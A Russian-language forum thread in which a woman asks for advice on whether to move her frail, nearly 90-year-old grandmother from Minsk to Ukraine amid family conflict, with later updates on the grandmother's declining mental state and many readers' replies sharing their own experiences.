Вход
Здравствуйте, гость !
Войдите под своим именем
или Зарегистрируйтесь.
меньше минуты назад2016-12-09 13:41:47 от Гость
Всем доброго времени суток!)) Нужен совет по воспитанию сына. Сыну через 1, 5 месяца исполнится 9 лет. В последнее время все чаще замечаю, что не справляюсь с ним. Он очень изменился. Раньше, в более маленьком возрасте был очень добрым, любознательны ... Подробнее
Последний комментарий
История : Утренник
меньше минуты назад2016-12-10 10:08:23 от Кинюнька
21985Люда, Так и сделаю, просто не люблю когда меня что-то заставляют делать, в таких случаях я точно делаю по своему. Все комментарии67664
Вход
Здравствуйте, гость !
Войдите под своим именем
или Зарегистрируйтесь.
Топ из раздела
Советы
ШЛЮХА
08 декабря в 21:42:56
Помоги советом
08 декабря в 21:35:34
Комедия
07 декабря в 12:41:15
Любовь это безумия
05 декабря в 06:58:47
Любимый брат мужа
04 декабря в 21:17:22
На работу к папе
03 декабря в 16:30:38
Студент и препод
28 ноября в 23:53:36
Волосенкиии
27 ноября в 22:35:51
Сериалы смотрим?  ( 1 2 )
27 ноября в 16:31:08
Советы - Сложная ситуация. Помогите советом.
Советы : Сложная ситуация. Помогите советом.     

 И снова здравствуйте. Я зачастила с историями, но вот прямо сейчас сложилась очень сложная ситуация у меня в семье, и времени на раздумья почти не остается, месяц всего, нужно срочно принимать какое-то решение, а я не могу. Как бы я не думала, и так плохо, и так не очень хорошо. Поэтому я прошу совета у вас, прошу каждого прочитать, попытаться вникнуть в ситуацию и сказать свое мнение. Я действительно рассчитываю на ваши советы, может я как-то смогу взглянуть на ситуацию под другим углом.

Буду писать про свою семью и скажу сразу, что бы я сейчас не сказала о своих родных, я все равно их люблю, все равно они у меня самые лучшие, самые дорогие. Не бывает людей без недостатков. Я прекрасно вижу недостатки своих родственников, осознаю их, но принимаю их неидеальными, и все равно очень сильно люблю. И вас прошу дать совет по делу, если возможно, а не обсуждать, кто у нас прав, кто неправ. Это, конечно, можно, только мне это ничем не поможет, а мне реально сейчас нужна помощь.

Итак, мои бабушка с дедушкой родили трех детей: мамина сестра тетя Зоя, мамин брат Эдик, и моя мама — самая младшая, на 10 лет младше сестру. Жили в маленькой деревне в 80 км от Минска. Тетя Зоя вышла замуж в Минск, сейчас давно в разводе, но живет в столице. Дядя Эдик живет в ПГТ в 12 км от родного села. Мама вышла замуж и уехала жить в Украину. У тетя Зои 2 дочки: мои сестры, и могу сказать, что мы друг друга не считаем двоюродными. Мы родные. И хоть я редко вижусь с ними, даже не каждый год, но мы всегда помним друг о друге, любим друг друга, общаемся, созваниваемся в скайпе. Мамина сестра для меня тоже не просто тетя. Короче с этой семьей я очень близка.

У маминого брата тоже 2 дочки, но с ними мы не такие «родные». Выросли вместе, каждый год нас на все лето отправляли в деревню к бабушке с дедушкой, но сейчас почти не общаемся, помимо семейных каких-то встреч, когда я или мама приезжаем туда. У дяди очень больная жена: диабет последней стадии или степени, короче укол инсулина 4 раза в день. Каждый день. И плюс еще эпилепсия. Короче, там все очень плохо. Приступы у нее бывают очень часто, либо диабетический, либо эпилептический. Ни в том, ни в том, хорошего нет ничего.

То, что я это все рассказываю, это не просто так, это важно. Чтобы лучше понять нашу ситуацию. Теперь еще пару слов о бабушке с дедушкой. Они... я даже не знаю... ну они у нас с детства как высшая инстанция, их интересы важнее всего, дедушкины распоряжения выполнялись беспрекословно, мы их бесконечно уважали, самое страшное было, это обидеть их чем-то или разочаровать. Мы их очень любили, уважали, слушались. Дедушка — идеал мужчины, причем недостижимый, к сожалению. Вряд ли такие мужчины еще существуют в мире. Мудрый. Добрый. Честный. Порядочный. Любящий. Имел 3 класса образования всего (война), но был председателем сельсовета, к нему всегда приходили люди: за помощью, за советом, за поддержкой. Его любили и уважали все: животные, дети, молодежь, мужики, старики. Я за всю жизнь НИ РАЗУ не слышала, чтобы дедушка сказал о ком-то хоть одно плохое слово. В нем зла не было ни капли, ни грамма, только бесконечная любовь к Богу и ко всему живому. Его не стало полтора года назад. Я не могу его забыть, не могу перестать думать о нем, и не могу даже сейчас поверить, что его больше нет. Он был просто кумиром детства.

Вытерла слезы, пишу дальше. У бабушки с молодости непростой характер. Она такая: бубнит что-то там частенько, возмущается, недовольна чем-то. Но стоило дедушке с укором сказать «Лена, ну хватит уже, успокойся». Все, как бабка пошептала. Любила она его... Очень любила. Для нее в жизни не могло быть лучшего мужа. Они прожили больше 60 лет в любви, мире и согласии. Работали, растили детей. Потом растили нас, внуков. Мне кажется, что то лучшее, что есть во мне, это от дедушки. Опять плачу.

Короче 5 лет назад мы поняли, что они уже слишком пожилые, чтобы оставаться одним на зиму в деревне. Там обычный деревенский дом. Печка, нет канализации, газ в баллонах. Да и у дедушки начались серьезные проблемы с сердцем, а бабушка почти глухая. Даже скорую она, наверное, не смогла бы вызвать ему. Они поехали сразу к сыну, к Эдику. У них три комнаты, большая квартира, где он живет с женой. Да и ближе к дому все-таки. Но там они долго не выдержали. У тети приступы примерно раз в неделю, после приступов — у дедушки начинается  сердечный приступ, потому что помочь ей они не всегда могли, бежали к соседям. Это стресс, нервы, у дедушки сердце. Короче прожили у дяди кое-как 3 месяца и с весной отправились домой в село. На следующую зиму уже поехали к т. Зое. Ну там сложнее. У тети 2 комнаты, в одной жила она, а во второй сестра с мужем и ребенком.

Сразу поясню, моя мама с самого начала хотела их забрать, но они ехать отказывались категорически. Главная причина: «Что мы туда поедем? Умирать на чужбине? Зачем кости туда везти». Короче они жили у тети. Моя мама стала ездить 2 раза в год, каждый отпуск. У тети характер не сахар. Она вся в бабушку. Это просто факт, а не осуждение тети. Но пока там был дедушка, все было как-то более-менее. Он обладал каким-то свойством сглаживать углы. От него исходила атмосфера мира и спокойствия, даже тепло какое-то исходило. Но дедушки больше нет. Даже просто писать эти слова безумно тяжело. Он умер полтора года назад.

И сейчас все очень-очень плохо. Я пишу, как есть, просьба не осуждать (хотя бы вслух) моих родных. Сестра развелась с мужем. Моя сестра — очень красивая девушка, яркая, интересная, звезда школы, душа любой компании, всегда в центре внимания, вокруг нее всегда миллион поклонников. Она, блин, реально тяжело писать, я словно предаю своих родных. Она привыкла жить для себя, думать только о себе. По крайней мере в первую очередь о себе. Сейчас она приходит с работы, погладит сына по голове, покормит, накрасится, надушится, и идет гулять. У нее очень много друзей, подруг, поклонников. Она живет ярко, интересно. Она говорит: «Мне 33, я не хочу всю жизнь быть одна, я еще молодая, мне нужно устраивать свою личную жизнь». И я ее этом понимаю. Сыну 7 лет. Он по вечерам на моей тете, на своей бабушке.

А моей бабушке уже почти 90 лет. И если в молодости у нее был сложный характер, то теперь добавилось еще и старческое. Она задевает Зою. Стоит ей задержаться после работы в магазине на 5 минут, бабушка уже клюет ее: «где ты была, почему так поздно». Зоя уже много лет никуда не может сходить, после работы, в выходные. У ее нет вообще никакой личной, ну в смысле просто ее личной жизни, пространства, интересов. Она бежит с работы домой, потому что там мама (бабушка) и внук. Их нужно кормить, развлекать, за ними нужно убирать. А дома ее задевает бабушка. А у нее у самой характер взрывной. И имеем то, что имеем.

В последнее время даже звонить туда страшно. Там просто у них писец творится. Тетя орет на сестру «куда ты собралась опять, проститутка», та в ответ орет «что ты за мать, какое ты имеешь право так меня оскорблять», бабушка вмешивается «чего вы орете друг на друга, нельзя же так». Тетя огрызается бабашке, та не слышит, тетя орет, чтобы она услышала, бабушка в слезы «чего ты орешь на меня, смерти моей не дождешься». Ребенок там еще бегает. Честно, дурдом. В последнее время тетя может рявкнуть на бабушку матом. У меня от такого волосы на голове шевелятся. У меня в голове не укладывается, нас с детства воспитывали, что бабушка и дедушка- святое. А сейчас вот так. Я просто не могу на это смотреть. Бабушка обижается, уходит в другую комнату плакать. Тетя начинает себе плакать перед скайпом. И ее тоже жалко. Ей на самом деле очень тяжело. Физически тяжело, морально тяжело. И сестру жалко, и ее где-то понимаю.

Но больше всех жалко бабушку. Я не хочу, чтобы она доживала свою жизнь так. Мама моя не оставляет попыток уговорить ее поехать к нам. Маму мою очень-очень жалко. Она сейчас ездит туда 2 раза в год. Для понтия общей картины я приведу цифры. Она зарабатывает 3,5 тыс. грн. Это ну 10-11 тыс. рублей. Для Украины, для провинции - это норм. Но проезд в Белоруссию даже плацкартом сейчас стоит 2000 грн. Это только дорога. В дорогу надо скупиться. Надо что-то обязательно купить бабушке (она как дите малое сейчас), халат, кофту, туфли... Каждый раз у кого-то день рождения, или новоселье, или пупок моют. Каждый раз она идет куда-то в гости. Нужно купить водку/вино/конфеты... Там тоже жить на что-то нужно. А с нашим курсом доллара, это просто звиздец. У нас 100 долларов, а у них это 50. А 100 долларов — это 2/3 маминой з/п. Короче, каждая поездка - это разорительно для мамы. Она либо влазит в долги, либо в кредитки. Потом приезжает, за полгода отдает/закрывает. И опять по новой, нужно ехать — перезанимает, снимает с карточки...

И плюс к этому ее там сейчас гнобят. Ну как гнобят. Зоя говорит, что раз она досматривает родителей, то хотя бы в мамин отпуск мама должна наверстывать упущенное. Вроде и так. Но моя мама в свой отпуск не приседает: она готовит на всех, убирает, стирает, смотрит за бабушкой и за всеми детьми. У меня 4 сестры, и уже  5 племянников и племянниц. Она из отпуска приезжает черная, с синяками под глазами, уставшая, с дергающимся глазом от тамошней обстановки. Потом еще несколько недель плачет, приходит в себя.

В последний раз мама вроде бы более-менее уговорила бабушку поехать к нам. Но бабушка уперлась. Только машиной. Мама начала делать ремонт в комнате для нее, довольная, а сейчас бабушка опять отказывается ехать. У мамы отпуск в декабре. Мы хотели попросить знакомого, у него минивэн, чтобы он привез ее сюда. Хотя лично мое мнение, что нужно ехать поездом. Бабушка боится поезда из-за туалета, я понимаю. Ну можно же купить 4 места, закрыть купе, поставить там ведро, никаких посторонних... Зато можно лечь, отдохнуть, а в машине: трясет, в одном положении, ехать долго, 1000 км. Неизвестно сколько на границе. Мама боится, что ей станет плохо в поезде. В машине можно поехать в больницу, а поездом типа опасно. Но я все равно за поезд.

Но суть в том, что она сейчас опять отказывается ехать. В последний раз по скайпу, тетя наорала на маму: «Да успокойся ты наконец, ты что дура, неужели не понимаешь, что ты никогда ее не заберешь. Это мой крест». У мамы истерика. Поссорились очень. Через пару дней помирились, конечно, и Зоя уже нормально объясняет маме, мол страшно ей ехать. Неизвестно, как перенесет дорогу, как перенесет смену обстановки. Вдруг умрет сразу. Говорит маме, мы же себе этого не простим. Ни ты, ни я. И мама начинает бояться. Потому что действительно они себе этого не простят.

А я считаю, что ей у нас будет лучше. Там она просто просыпается утром, умывается, завязывает платок, садится на диван и тупо сидит, смотри перед собой, ждет вечера. Пока все придут с работы. Пока опять начнут скандалить. С дедушкой она хоть телек могла смотреть. Он ей объяснял (его она понимала), что там происходит. Сейчас она вообще ничего слышит. Аппараты есть, но они ей не помогают. Ее глухота не в ухе, а в мозге. Это нам так в больнице объяснили. И вот сидит она одна с 8 утра до 6 вечера, в пустой квартире, в полной тишине. Мне ее так жалко. У нас я хожу на обед каждый день, она бы ждала меня, грела мне кушать. У нас кошка есть, все-таки живое существо. С ней можно побеседовать, погладить. У нас есть пожилые соседи, которые помнят еще моих бабушку с дедушкой, они бы заходили, проведывали. Моя мама — это совсем не Зоя. Она родителей на «вы» называет, она намного спокойнее, они бы здесь не ссорились. По крайней мере так.

Всем было бы хорошо, и Зоя бы отдохнула морально, успокоилась. Я бы хотела летом маму с Зоей отправить на море, им это необходимо обеим, а сама пожила бы с бабушкой. Я не хочу, чтобы мама летом опять ехала в деревню валить сарай и ставит забор. Чтобы опять приехала черно-серая и месяц отходила от отпуска. Она уже очень устала, моя мама. Я хочу, чтобы все отдохнули, всем было лучше. Мы даже договорились с тем же маминым знакомым, что он отвезет обратно бабушку, если она умрет у нас. Это ее основное условие. Мы договорились со знакомыми врачами, которые устроят ей мед. обслуживание.

Мой парень говорит тоже, что везти ее глупо, она не перенесет поездку. Что нужно ехать маме в Минск, снимать квартиру, и жить с бабушкой. Но это совсем нереально. За что она там будет жить? Работу найти в 50 лет без гражданства и прописки — невозможно. А здесь у нее нормальная работа, непыльная, за компьютером, боле-менее з/п, возможность доработать до пенсии.

Я сказала маме, чтобы она писала бабушке письмо, в котором убеждала ее ехать к нам. Слова она не слышит, срывая глотку не объяснишь мягко и спокойно, почему мы хотим ее забрать. А письмо она может прочитать. А мама, больше всего на свете, наверное, хочет ее сейчас забрать, но боится. И правда, а если что-то случится в дороге, в поезде или в машине, неважно. Мама потом жить не сможет с чувством вины.

И я не знаю, что делать. Отпуск у мамы через месяц, мы хотели вдвоем ехать за ней. А сейчас вообще голова кругом. Ей 90 лет. Она, конечно, слабая для такой поездки. Но жить так, как она там, это ненормально. Я не хочу, чтобы родная бабушка так жила. Они там все уже с ума сходят. Сестра тяжело переживает развод, тетя уже просто на грани, она морально и физически истощена. Все нервные, злые, срываются друг на друге, на бабушке. Рыдают все по очереди. Орут, ссорятся ужасно.

Я не знаю, что делать. Я бы все-таки рискнула и забрала ее к нам. Да, она может умереть, но она и в Минске может умереть в любой день. Все равно вряд ли она протянет больше пары лет. Это ужасно звучит, я знаю, но вы просто поймите. Я не хочу, чтобы она умирала, я просто хочу, чтобы ее последние годы были чуть лучше. И ради этого я готова рискнуть. А мама стала сомневаться. Бабушка категорична. Ее тоже уговаривать нужно, и не факт, что согласится.

Очень много факторов нужно учитывать. Здесь тоже по закону она только 3 месяца сможет жить, это тоже нужно будет решать. Больницу нужно будет решать. При самом плохом исходе вообще очень много всего нужно будет оформить, устроить. Потому что на кремацию она не согласиться ни за что, а везти тело за 1000 км. Я даже не представляю, сколько это справок нужно собрать.

И все равно я надеюсь уговорить ее и забрать через месяц. Посоветуйте что-нибудь, пожалуйста. У меня уже голова кругом от всего этого. Никто не знает, что делать. Все уже очень устали.Нам нужно уже принять хоть какое-то решение, а мы не можем. Если можно, я прошу не осуждать моих родственников. Делу это не поможет. Я и сама понимаю, где и в чем они неправы, но их это не изменит. Мы просто принимаем отправные точки, а дальше уже думаем, что делать в этой ситуации, а не в теоретической, если бы у всех были другие характеры и родные люди могли уживаться вместе. Обидно, что все так. Пожалуйста, пишите, что думаете по этому поводу, каждое мнение для меня ценно. Стоит ее пытаться забрать или нет? Может у кого-то было что-то подобное в жизни. Как лучше все-таки ехать, поездом, машиной. Вряд ли, конечно, но может кто-то сможет точно сказать, насколько это сложно перевезти мертвого человека за границу? (звучит страшно, но я должна рассмотреть все варианты). Вообще, посоветуйте что-нибудь. Моя мама - человек нерешительный. В принципе, как я скажу, так и будет. А я сама не знаю, что сказать.

Спасибо всем за то, что прочитали и каждому, кто попытается помочь.

История дополнена: 24 декабря 2015 в 20:46:58
     

Привет всем. Обещала отписаться, по этой ситуации, вот, отписываюсь. Хотя писать собственно и не о чем. 

Мама сейчас в Минске, до последнего надеялись, что бабушка согласиться поехать к нам, уговаривали всей семьей: даже дядя приехал, убеждал. Но она уперлась намертво: никуда не поеду. 

Очень расстроились, но... От нас это не зависит. А может это и к лучшему, кто знает. Очень жаль тетю. Тетя реально на грани. В этот раз даже мама заметила, что с бабушкой становится все невыносимее, характер все сложнее. 

Скоро мама возвращается, тетя уже заранее плачет. Она утверждает, что при маме бабушка ведет себя более-менее, не так третирует. Очень обидно и очень горько, что все вот так. 

История дополнена: 11 сентября в 23:08:36
     

Ой, девочки и мальчики,  так тяжело на душе, что хоть волком вой. Бабушка совсем сдаёт. Я ездила в Минск в июне, все было ещё нормально. Характер,  конечно,  сложный,  она обидчивая,  вредная, всем недовольная. Но рассудок был в норме. Мама ездила всего через 3 недели после меня. И уже у бабушки в голове что-то замкнуто. Она жаловалась маме,  что у неё в комнате очень яркое солнце, что её облучает,  это радиация, это очень вредно. Ну и все в таком духе. С чего это ей пришло в голову - неизвестно. Это было в августе,  а вот в сентябре она уже по утрам отсиживается в туалете,  чтобы её не облучало солнце, а когда сестра и тётя уходят на работу,  а малой в школу, она вытаскивает пуфик в коридор и сидит до вечера в коридоре, пока солнце не спрячется. Телек никому не даёт смотреть, потому что это радиация и её облучает. Короче... Полный звиздец. 

Вчера вечером позвонила тётя маме и плачет просто навзрыд. Ей тяжело, никто ей не помогает, она просит дочек хоть в выходной день кормить её днём,  потому что сама она сейчас в обед не идёт на кухню,  там радиация и вообще. Никому ничего не надо. Младшая дочка живёт в другом конце города и ей в выходной неохота переться к бабушке, старшая,  которая живёт с тетей, прямо говорит маме,  что сошла с дома, потому что психологически не выдерживает бабушку. 

Да,  я не спорю,   тяжело, но тетя не может сойти с дома. Никто ей не помогает. Правильно тётя говорит,  пока была бабушка моложе, пока ездили к ней каждые каникулы,  она была нужна,  а сейчас она всех раздражает. Тетя плачет: "Но она же не виновата,  что рассудок помутился. А если у меня такое в старости будет,  меня дочки сдадут в дом престарелых... "

Мама сегодня плачет весь день, я уже звонила раз 5, она все плачет,  с самого утра. Говорит,  что мне делать? Рассчитываться с работы и ехать туда? А потом что? Умирать с голода? Очень сложно. Я подумала,  может мне поехать туда хоть на месяц, немножко помочь Зое,  но честно говоря не знаю. Какая помощь от меня будет? Она не лежачая,  так, только покормить утром и в обед,  проследить,  чтобы таблетки пила. Просто там и так у них дурдом и всего 2 комнаты,  мне кажется,  что я там буду больше не помогать,  а раздражать,  в смысле все равно, постоянно гость дома. Не знаю,  может я так себя уговаривают,  чтобы не ехать,  честно не знаю. Маме сказала,  что давай я поеду, она не поддержала, тоже говорит,  что ты там будешь делать, только мешать. 

Я не знаю,  что делать,. Мама плачет сильно, Зоя плачет сильно. Бабушка просто выносит всем мозг. Я понимаю,  что у многих в семьях такие проблемы,  но просто уже нет сил от этого всего. Так получилось,  что мы далеко и не можем взять на себя половину забот,  а получается только осуждаю в душе сестер, хотя сама ничем не помогаю. Просто тяжело это все. В голову приходят ужасные мысли,  что все уже просто ждут её смерти. Пишу и плачу. 

Я не знаю,  какого совета жду,  наверное,  просто хочется выговориться, очень тяжело. Сегодня придут гости, семья парня,  а мне никого не хочется видеть,  ни готовить,  ни убирать,  ничего не хочу. 

61780
Другие Советы
(68)
Васька
Васька

06 ноября 2015 15:05:21
2015-11-06 15:05:21
Смысла везти её из Беларусии в Украину нет никакого, она не выдержит дороги и не сможет ужиться на новом месте. Вы создаете не нужные проблемы. Мы тоже жили с бабкой в таком же нескончаемом дурдоме, она пережила ВОВ и много всего другого ... тяжело даже писать ... плачу не могу ... она такую невыносимую жизнь нам устроила ... ад ... я до сих пор помню тот день, когда она умерла. Ей было 86 лет, мы проснулись утром, а дома тишина ...
Ответить
Поддерживаю Да0 / Нет2
Гость
Гость

06 ноября 2015 15:05:26
2015-11-06 15:05:26
Уважаемый автор, я считаю что стоит рискнуть и перевезти бабушку в Украину. Надеюсь что получится ето сделать на машине
Ответить
Поддерживаю Да1 / Нет0
Moody
20123 Moody
moody offline
Репутация : 141559
Комментариев 1234 8
06 ноября 2015 15:45:54
2015-11-06 15:45:54

А как у вашей бабушки со здоровьем? В 90 лет некоторые старички очень бодренькие, а некоторые уже еле ходят, поэтому здесь нужно не от ваших эмоций (орут не орут), а от ее состояния исходить, и что лучше для нее, а не для того, чтобы вы себя хорошо чувствовали, что вот мол сделали все, чтобы бабушке было хорошо. Если состояние здоровья позволяет ей перенести дорогу, попробуйте вдвоем съездить с мамой и уговорить ее на месте.

А самолет в качестве средства передвижения?

Хочу добавить, что с моей мамой жила после смерти дедушки наша бабушка (мама моей мамы), умерла она в 89 лет. Пока она остановилась у мамы, она пожила у всех пятерых детй, ей нигде не нравилось. И у мамы тоже не нравилось, просто наверно уже сил не было опять куда то переезжать, хотя все дети старались, чтобы она себя чувствовала как дома у них. Но трагедия стариков в том, что их дом это дом, где они жили в супружестве и растили детей. Все остальное для них никогда не станет до конца родным. Поэтому я понимаю вашу ситуацию, мне кажется вы очень сильно переживаете, вы и ваша мама. Вам наверно стоит успокоиться, попробовать без лишних эмоций подумать сможет ли ваша бабушка перенести дорогу и адаптироваться к новому дому.

Ответить
Поддерживаю Да3 / Нет0
Все люди хотят, чтобы было по ихнему. Но по ихнему не будет, потому что нет такого слова.
Осенняя
17330 Осенняя
Осенняя offline
Репутация : 402133
Комментариев 2261 2
06 ноября 2015 16:00:22
2015-11-06 16:00:22

Практически у всех пожилых людей очень сложный характер. Угодить бабушкам-дедушкам всегда очень не просто. У каких бы родственников бабушка бы не жила, ей будет некомфортно. У моей сотрудницы в селе осталась пожилая тетя, ехать к кому бы либо она категорически отказалась. В доме так же как у Вашей бабушки -удобств ни каких. Сотрудница нашла женщину, которая согласилась жить с тётей и присматривать за ней. Родственники в течении года ездят навещают тётю, проводят там отпуска. Но, не каждая бабушка согласится жить с посторонним человеком.

Ответить
Поддерживаю Да4 / Нет0
Ксюшка *****
9739 Ксюшка *****
Ксюшка ***** online
Репутация : 256680
Комментариев 1836 5
06 ноября 2015 16:27:42
2015-11-06 16:27:42

я согласна с вами, что лучше вам ее забрать к себе. Конечно, риск большой, но все-таки, та жизнь не лучше. Может, для начала подправить ее здоровье, а потом уже перевозить. Нужно убедить как то свою бабушку, все-таки, она не враг своим детям, и понимает, что от сложившейся ситуации все порядком устали. Хотя убедить пожилого человека очень трудно, знаю по себе, у самой бабушка далеко не сахар, и если она вобьет что то себе в голову, то потом не переубедить.

Пусть подключится и ваша тетя, возможно втроем, мягко , но настойчиво, вы убедите ее на переезд.

Ответить
Поддерживаю Да2 / Нет0
В конце концов, все непременно будет хорошо! А если не хорошо - значит, это еще не конец!
Ласточка
Ласточка

06 ноября 2015 16:58:32
2015-11-06 16:58:32
А почему это бабушка не перенесет дорогу?! Я так поняла, что кроме глухоты, у нее других проблем со здоровьем нет. На машине это вариант не очень, 1000 км это много. Идеальный вариант, поезд - там можно и полежать и поспать. Вину по -поводу смерти на себя никогда не берите. Как бы и где это не случилось. Одному Богу угодно - как он распорядится, так и будет. Забрать я думаю стоит. Не нужно звать ее умирать к вам. Я думаю, стоит сказать, что вы ведете ее к себе пожить, а не понравится то вернется обратно. А там уж как Бог велит. Мои дедушка и бабушка ездили по родственникам всю старость, зиму в городе, летом в деревне. Их возили на машине за 300 км. Они сами собирались и в машину садились, а как надоест обратно просились. Дожили до 92 и 95 лет. Ехать вам туда жить это точно не вариант. И бабушку там оставлять не стоит. Уж больно много стресса. Нужно также быть готовым к тому что старый человек может залежаться, за которым нужен будет уход, может начать чудить - старческий маразм. Не дай Бог конечно. Удачи!!! А вы молодец, что любите своих родных такими какие они есть. Со всеми их недостатками и достоинствами.
Ответить
Поддерживаю Да4 / Нет0
Арктика
Арктика

06 ноября 2015 16:58:49
2015-11-06 16:58:49
Ну скажем так: если маме не вариант ехать к бабушке, то может , Вам, автор, стоит поехать, раз Вы так печетесь о бабушкином благополучии. Вам же наверняка не 50 и работу найти возможно не так проблемно будет. И еще, помогаете ли Вы маме хотя бы в то время, когда она ездит в отпуск к тете? Она приезжает домой черная, изнемозженная, а почему бы Вам не помочь, чтобы хоть чем-нибудь облегчить участь мамы? Вы о своей ситуации ни слова не пишете, поэтому я не знаю, верно ли сужу, но у меня создалось впечатление, что Ваша помощь в данной ситуации ограничивается только сочувствием и волнениями. Простите, если не права.
Ответить
Поддерживаю Да1 / Нет0
Папина дочка
Папина дочка

06 ноября 2015 16:58:56
2015-11-06 16:58:56
Оля, твоя тетя, как я поняла из рассказа, измотавшаяся женщина, которая, увы, тоже не юна. За что ее осуждать? Как может нести свой Крест, так и несет. А вообще, у каждого из вас "свой" крест. У тебя и мамы-все понимать, у тети-дохаживать за матерью, а у бабушки-принять такую старость. Доедет-не доедет, тут не расчитаешь, а вот то, что бабушка угасает-это факт. Если ее воля жить так, как она хочет( а не так, как этого хотите вы с мамой), надо с этим смириться. Ты уже все просчитала-как бабушка будет ждать тебя на обед и все такое. А если все выйдет совсем не по твоему плану? Если бабуля сляжет и тебе или маме придется уволиться?А там уже худо-бедно все налажено: уход и быт. Терпения вам всем.
Ответить
Поддерживаю Да2 / Нет0
Ника
Ника

06 ноября 2015 16:59:06
2015-11-06 16:59:06
Тяжелая ситуация. Про переезд. Как-то я уговаривала свою бабушку( ей 78), переехать ко мне поближе, хотела снять для неё квартиру рядом с нами, чтобы приходить и присматривать. Живу в 100 км от неё. Она наотрез отказалась, сказала, что когда старые люди уезжают из своих домов в новую обстановку, они очень быстро умирают, не могут привыкать быстро. А с сестрой не говорили, нет у неё возможности снимать жильё, иногда няню нанимать, чтобы тёте Зое полегче было? Чтобы муж бывший с ребенком помогал? Просто мне видится более возможным вариант оставить бабушку всё-таки в Минске, попробовать, может быть, маме всё-таки поискать работу в Минске, чтобы жить с бабушкой, если не сможет отдельно жить сестра. Может быть, сдавать своё жильё, чтобы легче было снимать в Минске? Одним словом, я бы побоялась везти бабушку так далеко.
Ответить
Поддерживаю Да1 / Нет0
Алеся
Алеся

06 ноября 2015 16:59:11
2015-11-06 16:59:11
Если честно то я не понимаю зачем вести бабушку в Украину, раз человек не хочет, так какой смысл? Раз там шум и постоянные ссоры, а если у вас такое в доме будет, кому от этого будет лучше? Если бабушка упирается даже на переезд, на поезде не подходит, на машине лучше. Я сомневаюсь что вам всем будет хорошо вместе.
Ответить
Поддерживаю Да0 / Нет0
Азиатка
8752 Азиатка
Азиатка offline
Репутация : 816766
Комментариев 5823 20
06 ноября 2015 17:22:10
2015-11-06 17:22:10

Не знаю, я бы оставила все как есть. Тяжело, но оставила. Ты тоже имеешь право на личную жизнь как и разведенная сестра. Бросать парня и ехать туда на ПМЖ не имеет смысла. Маме тоже в таком возрасте нельзя работой разбрасываться. Тем более, с таким кризисом на Украине. Перевозить бабушку... Я сразу свекровь вспомнила. Ей сейчас за 70 лет. Ни за какие коврижки ее нельзя было из дома выманить. Там бомбы летали, стреляли, боевики в соседних домах жили, а она ни за что уезжать не хотела. Даже в соседнюю Ингушетию. Однажды делала намаз и осколок прошил крышу и в пол воткнулся прямо над ее головой! Благо, что она в этот момент на коленях поклоны делала. Если б стояла, то в голову точно вошло бы. Даже не представляю, что в этом мире может старика заставить ехать умирать на чужбину! Звоните им почаще. Материально бабушке помогайте. Подарите тете путевку, чтобы отдохнула. Сестре тоже обороты надо сбавить. Не для бабки сына родила. Пусть гуляет, но в меру. Совесть-то надо иметь. Почему бывший зять сына хотя бы на выходные не забирает?

Ответить
Поддерживаю Да5 / Нет0
Папина дочка
Папина дочка

06 ноября 2015 17:36:53
2015-11-06 17:36:53
Если это важная инфа, добавлю. Мы свекровь возили за 3000 км в Абхазию до 88 лет каждый год. Раскладывали заднее сиденье на субаре и стелили матрас, она спала всю дорогу. Второе. Мои бабушка с дедушкой переехали из Украины в Россию. Бабушки не стало через 4 мес, дедушки ч-з 3 года. Бабуля была значительно моложе твоей. Есть печальная статистика-на чужбине пожилые люди угасают быстрее.
Ответить
Поддерживаю Да2 / Нет0
Ласточка
Ласточка

06 ноября 2015 17:37:21
2015-11-06 17:37:21
По- поводу что переезд в возрасте часто приводит к тому что человек быстро "уходит"... Я не равнодушна к старикам и перезнакомилась со всеми стариками из нашего 9 этажного дома. Они с удовольствием делятся своими судьбами. Почему- то они все приезжие. Наверно потому что дом наш новый. Все они жалуются, что им не хватает общения, что нет их круга общения с кем они привыкли общаться. ВСЕ! они очень жалеют, что согласились на переезд. Одна пара действительно очень быстро умерли. Они мне рассказывали, что зять им уже место на кладбище оплатил, говорила бабушка с радостью, хваля зятя. А мне было ее жаль и не понимаю я такой заботы.
Ответить
Поддерживаю Да2 / Нет0
Violetta
14552 Violetta
Violetta offline
Репутация : 1249833
Комментариев 8867 0
06 ноября 2015 18:25:12
2015-11-06 18:25:12

Рассмотрите вариант с самолетом, если все же решите перевозить бабушку. А вашей маме самой надо понять и ее сестре донести - что да, риск есть, но это жизнь! И ничего ты тут не сделешь! Сколько человеку суждено - столько и проживет - ни больше , ни меньше. И переезд тут ни при чем (в случае плохого исхода, не дай Бог)

Ответить
Поддерживаю Да2 / Нет0
Хорошее настроение - это когда не очень умные люди не бесят, а веселят.
Гость
Гость

06 ноября 2015 18:35:00
2015-11-06 18:35:00

Прочитала твою историю, не смогла пройти мимо, пишешь ты хорошо, доступно. Родственников осуждать никто не должен, они родственники, их не выбирают. Моя бабушка умерла два года назад, был очень трудный период времени, в больнице сказали, забирайте домой, чтоб дома умерла, мы забрали, ухаживали с мамой за ней, прожила почти месяц после больницы. Умерла при мне. Тяжело все это. Тоже характер был трудный. На счет переезда, моей бабушке было 71 год тогда, не очень легко дается перевозка, тем более дорога в деревню плохая. Если дорога хорошая, то машина, как вариант и еще тут нужно смотреть, вот какие детали(на чем быстрее ехать) и в поезде есть плюс(купе, можно бабушку уложить на постель полежать в дороге). Если Вы решили точно забрать ее к себе, нужно готовиться, что жизнь измениться, появиться новый член семьи, у него свои привычки. Мама может уставать вдвойне на работе и с бабушкой. Я бы перевезла человека в более комфортные условия, где тишина и нет стресса. Где любимая внучка и дочь, которая переживает(это Вы) Бабушке видимо там морально плохо, от скандалов, а пожилому человеку нужна тишина и покой и хорошее настроение. Да и тетя Зоя наверное очень выжалась, как лимон. Если тетя Зоя, остальные родственники, не против Вашего решения, то я Вам с мамой желаю терпения и сил. Оформление и перевоз это всегда стресс для пожилого человека. Еще нужно смотреть ее общее состояние, есть люди в 90-то и бодренькие, а есть очень очень слабые. Олечка, держись и не падай духом! Я от чистого сердца желаю Вашей семье терпения, сил все взвесить и решить. Если все за, то не сомневайтесь. Удачи!

Ответить
Поддерживаю Да3 / Нет0
Сиреневая Кошка
12351 Сиреневая Кошка
Сиреневая Кошка offline
Репутация : 1670228
Комментариев 6965 37
06 ноября 2015 18:40:43
2015-11-06 18:40:43

Девочки, всем спасибо. У нас на работе день рождения, занята была, буду дома, всех внимательно прочитаю и отвечу. Но в любом случае каждому спасибо, что не прошли мимо.

Ответить
Поддерживаю Да2 / Нет0
Некоторым кажется, что я ненормальная. А многие уже поняли, что им не кажется.
Нежная роза
8829 Нежная роза
Нежная роза offline
